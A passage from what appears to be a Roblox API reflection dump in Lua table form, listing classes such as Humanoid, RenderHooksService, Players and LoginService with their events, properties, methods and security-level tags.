 },
 Name = &quot;Preload&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBaseUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;count&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetCacheSize&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;count&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetThreadPool&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ManualSurfaceJointInstance = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;ManualSurfaceJointInstance&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Humanoid = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Climbing&quot;,
 Arguments = {
 {
 Name = &quot;speed&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;CustomStatusAdded&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;CustomStatusRemoved&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;Died&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;FallingDown&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;FreeFalling&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;GettingUp&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;HealthChanged&quot;,
 Arguments = {
 {
 Name = &quot;health&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;Jumping&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;PlatformStanding&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;Ragdoll&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;Running&quot;,
 Arguments = {
 {
 Name = &quot;speed&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;Seated&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;StatusAdded&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;Status&quot;
 }
 }
 },
 {
 Name = &quot;StatusRemoved&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;Status&quot;
 }
 }
 },
 {
 Name = &quot;Strafing&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;Swimming&quot;,
 Arguments = {
 {
 Name = &quot;speed&quot;,
 Type = &quot;float&quot;
 }
 }
 }
 },
 ClassName = &quot;Humanoid&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Health&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Jump&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;LeftLeg&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;MaxHealth&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;NameOcclusion&quot;,
 Type = &quot;NameOcclusion&quot;
 },
 {
 Name = &quot;PlatformStand&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;RightLeg&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Sit&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TargetPoint&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Torso&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;WalkSpeed&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;WalkToPart&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;WalkToPoint&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 deprecated = true,
 Type = &quot;float&quot;,
 Name = &quot;maxHealth&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddCustomStatus&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Type = &quot;Status&quot;,
 Name = &quot;status&quot;,
 DefaultValue = &quot;Poison&quot;
 }
 },
 Name = &quot;AddStatus&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;tool&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;EquipTool&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetStatuses&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;HasCustomStatus&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Type = &quot;Status&quot;,
 Name = &quot;status&quot;,
 DefaultValue = &quot;Poison&quot;
 }
 },
 Name = &quot;HasStatus&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;animation&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LoadAnimation&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;MoveTo&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;status&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RemoveCustomStatus&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Type = &quot;Status&quot;,
 Name = &quot;status&quot;,
 DefaultValue = &quot;Poison&quot;
 }
 },
 Name = &quot;RemoveStatus&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetClickToWalkEnabled&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;amount&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;TakeDamage&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;UnequipTools&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;animation&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;loadAnimation&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;amount&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;takeDamage&quot;,
 deprecated = true
 }
 }
 },
 RenderHooksService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;RenderHooksService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CaptureMetrics&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;qId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;DisableQueue&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;EnableAdorns&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;qId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;EnableQueue&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetDeltaAve&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetGPUDelay&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetPresentTime&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderAve&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderConfMax&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderConfMin&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRenderStd&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;PrintScene&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ReloadShaders&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;width&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;height&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;ResizeWindow&quot;,
 LocalUserSecurity = true
 }
 }
 },
 PhysicsPacketCache = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PhysicsPacketCache&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 RunningAverageItemDouble = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;RunningAverageItemDouble&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Light = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Light&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Brightness&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Color&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 BodyMover = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BodyMover&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 WedgePart = {
 Inherits = &quot;FormFactorPart&quot;,
 Events = {
 },
 ClassName = &quot;WedgePart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ScriptService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ScriptService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ImageButton = {
 Inherits = &quot;GuiButton&quot;,
 Events = {
 },
 ClassName = &quot;ImageButton&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Image&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 GuiBase2d = {
 Inherits = &quot;GuiBase&quot;,
 Events = {
 },
 ClassName = &quot;GuiBase2d&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;AbsolutePosition&quot;,
 readonly = true
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;AbsoluteSize&quot;,
 readonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 DialogChoice = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DialogChoice&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ResponseDialog&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;UserDialog&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 NumberValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;NumberValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 }
 },
 JointInstance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;JointInstance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;C0&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;C1&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;Part0&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Part1&quot;,
 Type = &quot;Object&quot;
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;part1&quot;,
 hidden = true
 }
 },
 Methods = {
 }
 },
 CollectionService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ItemAdded&quot;,
 Arguments = {
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ItemRemoved&quot;,
 Arguments = {
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;CollectionService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;class&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetCollection&quot;
 }
 }
 },
 Configuration = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Configuration&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 UserGameSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;FullscreenChanged&quot;,
 Arguments = {
 {
 Name = &quot;isFullscreen&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Name = &quot;StudioModeChanged&quot;,
 Arguments = {
 {
 Name = &quot;isStudioMode&quot;,
 Type = &quot;bool&quot;
 }
 }
 }
 },
 ClassName = &quot;UserGameSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AllTutorialsDisabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ControlMode&quot;,
 Type = &quot;ControlMode&quot;
 },
 {
 Name = &quot;Fullscreen&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SavedQualityLevel&quot;,
 Type = &quot;SavedQualitySetting&quot;
 },
 {
 Name = &quot;VideoUploadPromptBehavior&quot;,
 Type = &quot;UploadSetting&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;tutorialId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetTutorialState&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;InFullScreen&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;InStudioMode&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;tutorialId&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetTutorialState&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 SelectionPointLasso = {
 Inherits = &quot;SelectionLasso&quot;,
 Events = {
 },
 ClassName = &quot;SelectionPointLasso&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Point&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Skin = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;Skin&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;SkinColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 Pants = {
 Inherits = &quot;Clothing&quot;,
 Events = {
 },
 ClassName = &quot;Pants&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;PantsTemplate&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataMember = {
 Inherits = &quot;ReflectionMetadataItem&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataMember&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 HopperBin = {
 Inherits = &quot;BackpackItem&quot;,
 Events = {
 {
 Name = &quot;Deselected&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Selected&quot;,
 Arguments = {
 {
 Name = &quot;mouse&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;HopperBin&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Active&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;BinType&quot;,
 Type = &quot;BinType&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Disable&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ToggleSelect&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 RuntimeScriptService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;RuntimeScriptService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 MotorFeature = {
 Inherits = &quot;Feature&quot;,
 Events = {
 },
 ClassName = &quot;MotorFeature&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Model = {
 Inherits = &quot;PVInstance&quot;,
 Events = {
 },
 ClassName = &quot;Model&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;PrimaryPart&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;BreakJoints&quot;
 },
 {
 ReturnType = &quot;CoordinateFrame&quot;,
 Arguments = {
 },
 Name = &quot;GetModelCFrame&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetModelSize&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;MakeJoints&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;MoveTo&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ResetOrientationToIdentity&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SetIdentityOrientation&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;offset&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;TranslateBy&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;breakJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;makeJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;move&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;moveTo&quot;,
 deprecated = true
 }
 }
 },
 Snap = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Snap&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BodyAngularVelocity = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyAngularVelocity&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;angularvelocity&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;maxTorque&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 VelocityMotor = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;VelocityMotor&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CurrentAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;DesiredAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Hole&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;MaxVelocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 SurfaceSelection = {
 Inherits = &quot;PartAdornment&quot;,
 Events = {
 },
 ClassName = &quot;SurfaceSelection&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TargetSurface&quot;,
 Type = &quot;NormalId&quot;
 }
 },
 Methods = {
 }
 },
 Part = {
 Inherits = &quot;FormFactorPart&quot;,
 Events = {
 },
 ClassName = &quot;Part&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Shape&quot;,
 Type = &quot;PartType&quot;
 }
 },
 Methods = {
 }
 },
 StarterPack = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;StarterPack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 PyramidPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;PyramidPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Sides&quot;,
 Type = &quot;PyramidSides&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 DynamicRotate = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;DynamicRotate&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BaseAngle&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 FastLogSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FastLogSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;filename&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DumpLogs&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;Print&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;group&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;channel&quot;,
 DefaultValue = &quot;ext&quot;
 }
 },
 Name = &quot;SetVariable&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 ArcHandles = {
 Inherits = &quot;HandlesBase&quot;,
 Events = {
 {
 Name = &quot;MouseButton1Down&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton1Up&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 },
 {
 Name = &quot;MouseDrag&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 },
 {
 Name = &quot;relativeAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;deltaRadius&quot;,
 Type = &quot;float&quot;
 }
 }
 },
 {
 Name = &quot;MouseEnter&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 },
 {
 Name = &quot;MouseLeave&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;Axis&quot;
 }
 }
 }
 },
 ClassName = &quot;ArcHandles&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Axes&quot;,
 Type = &quot;Axes&quot;
 }
 },
 Methods = {
 }
 },
 LoginService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;loginError&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoginFailed&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;username&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoginSucceeded&quot;,
 RobloxSecurity = true
 }
 },
 ClassName = &quot;LoginService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Logout&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;PromptLogin&quot;,
 RobloxSecurity = true
 }
 }
 },
 Players = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;friendRequestEvent&quot;,
 Type = &quot;FriendRequestEvent&quot;
 }
 },
 Name = &quot;FriendRequestEvent&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GameAnnounce&quot;,
 RobloxScriptSecurity = true
 },
 {
 Name = &quot;PlayerAdded&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;PlayerAddedEarly&quot;,
 LocalUserSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;chatType&quot;,
 Type = &quot;PlayerChatType&quot;
 },
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;targetPlayer&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;PlayerChatted&quot;,
 LocalUserSecurity = true
 },
 {
 Name = &quot;PlayerRemoving&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;PlayerRemovingLate&quot;,
 LocalUserSecurity = true
 }
 },
 ClassName = &quot;Players&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;BubbleChat&quot;,
 readonly = true
 },
 {
 Name = &quot;CharacterAutoLoads&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;ClassicChat&quot;,
 readonly = true
 },
 {
 readonly = true,
 Type = &quot;Object&quot;,
 Name = &quot;LocalPlayer&quot;,
 hidden = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;MaxPlayers&quot;,
 RobloxSecurity = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;NumPlayers&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;localPlayer&quot;,
 deprecated = true,
 hidden = true,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;numPlayers&quot;,
 deprecated = true,
 hidden = true,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddLeaderboardKey&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;Chat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CreateLocalPlayer&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;userID&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetPlayerByID&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;GetPlayerFromCharacter&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetPlayers&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;reason&quot;,
 Type = &quot;string&quot;
